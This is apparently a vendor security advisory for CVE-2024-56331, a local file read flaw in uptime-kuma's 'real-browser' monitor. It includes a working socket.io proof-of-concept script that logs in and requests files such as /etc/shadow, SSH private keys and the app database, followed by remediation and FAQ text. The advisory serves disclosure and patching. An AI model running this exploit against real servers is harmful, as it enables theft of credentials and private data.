Summary
An Improper URL Handling Vulnerability allows an attacker to access sensitive local files on the server by exploiting the file:/// protocol. This vulnerability is triggered via the "real-browser" request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as file:///etc/passwd, an attacker can read sensitive data from the server.
Details
The vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically:
The URL input (
<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">) allows users to input arbitrary file paths, including those using thefile:///protocol, without server-side validation.The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the "real-browser" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g.,
file:///etc/passwd), the browser fetches and captures the file’s content.
const browser = await getBrowser();
const context = await browser.newContext();
const page = await context.newPage();
const res = await page.goto(monitor.url, {
waitUntil: "networkidle",
timeout: monitor.interval * 1000 * 0.8,
});
let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";
await page.screenshot({
path: path.join(Database.screenshotDir, filename),
});
await context.close();
Since the user input is not validated, an attacker can manipulate the URL to request local files (e.g., file:///etc/passwd), and the system will capture a screenshot of the file's content, potentially exposing sensitive data.
PoC
- Instructions:
- Enter a local file path as the URL, such as:
view-source:file:///etc/passwd. - The server will process the URL and, in "real-browser" mode, capture a screenshot of the file content.
- Enter a local file path as the URL, such as:
Example PoC:
- Log in to the application with valid credentials:
const { io } = require("socket.io-client");
// Server configuration and credentials
const CONFIG = {
serverUrl: "ws://localhost:3001",
credentials: {
username: "admin",
password: "password1"
},
requestType: {
REAL_BROWSER: "real-browser",
HTTP: "http"
},
urlHeader: {
VIEW_SOURCE: "view-source:file:///",
FILE: "file:///"
}
};
// List of sensitive files on a Linux system
const SENSITIVE_FILES = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/hostname",
"/etc/network/interfaces", // May vary depending on the distribution
"/etc/ssh/ssh_config",
"/etc/ssh/sshd_config",
"~/.ssh/authorized_keys",
"~/.ssh/id_rsa",
"/etc/ssl/private/*.key",
"/etc/ssl/certs/*.crt",
"/app/data/kuma.db", // Uptime Kuma database file
"/app/data/config.json" // Uptime Kuma configuration file
];
// Function to send a request and wait for the response
function sendRequest(socket, filePath, type) {
return new Promise((resolve, reject) => {
fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;
if (type == CONFIG.requestType.HTTP) {
fileUrl = CONFIG.urlHeader.FILE + filePath;
}
socket.emit("add", {
type: type,
name: type + " " + filePath,
url: fileUrl,
method: "GET",
maxretries: 0,
timeout: 500,
notificationIDList: {},
ignoreTls: true,
upsideDown: false,
accepted_statuscodes: ["200-299"]
}, (res) => {
console.log(`Response for file ${filePath}:`, res);
resolve();
});
});
}
// Main function for connecting and sending the 'add' request
(async () => {
const socket = io(CONFIG.serverUrl);
// Handle connection errors
socket.on("connect_error", (err) => {
console.error("Connection failed:", err.message);
});
try {
// Connecting with credentials
await new Promise((resolve, reject) => {
socket.emit("login", {
username: CONFIG.credentials.username,
password: CONFIG.credentials.password,
token: ""
}, (res) => {
if (res.ok) {
console.log("Connection successful");
resolve();
} else {
console.log(res);
reject(new Error("Connection failed"));
}
});
});
// Sending requests for each file using Promise.all to ensure synchronization
const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));
// Wait for all requests to be sent
await Promise.all([...realBrowserRequests]);
// Close the socket after all requests have been sent
socket.close();
console.log("Connection closed after all requests.");
} catch (error) {
console.error("Error:", error.message);
socket.close();
}
})();
Impact
This vulnerability is a Local File Inclusion (LFI) issue, which allows an attacker to access and potentially exfiltrate sensitive files from the server. The impact is significant, as attackers can access critical system files or application configuration files, such as:
/etc/passwd: Contains user account information./etc/shadow: Contains password hashes./app/data/kuma.db: Contains the database for the Uptime Kuma monitoring tool./app/data/config.json: Contains the database credentials for Uptime Kuma.
Any authenticated user who can submit a URL in "real-browser" mode is at risk of exposing sensitive data through screenshots of these files.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2024-56331 has a CVSS score of 6.8 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.23.16, 2.0.0-beta.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
uptime-kuma to 1.23.16 or later; uptime-kuma to 2.0.0-beta.1 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2024-56331? CVE-2024-56331 is a medium-severity path traversal vulnerability in uptime-kuma (npm), affecting versions >= 1.23.0, < 1.23.16. It is fixed in 1.23.16, 2.0.0-beta.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2024-56331? CVE-2024-56331 has a CVSS score of 6.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of uptime-kuma are affected by CVE-2024-56331? uptime-kuma (npm) versions >= 1.23.0, < 1.23.16 is affected.
- Is there a fix for CVE-2024-56331? Yes. CVE-2024-56331 is fixed in 1.23.16, 2.0.0-beta.1. Upgrade to this version or later.
- Is CVE-2024-56331 exploitable, and should I be worried? Whether CVE-2024-56331 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-56331 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-56331?
- Upgrade
uptime-kumato 1.23.16 or later - Upgrade
uptime-kumato 2.0.0-beta.1 or later
- Upgrade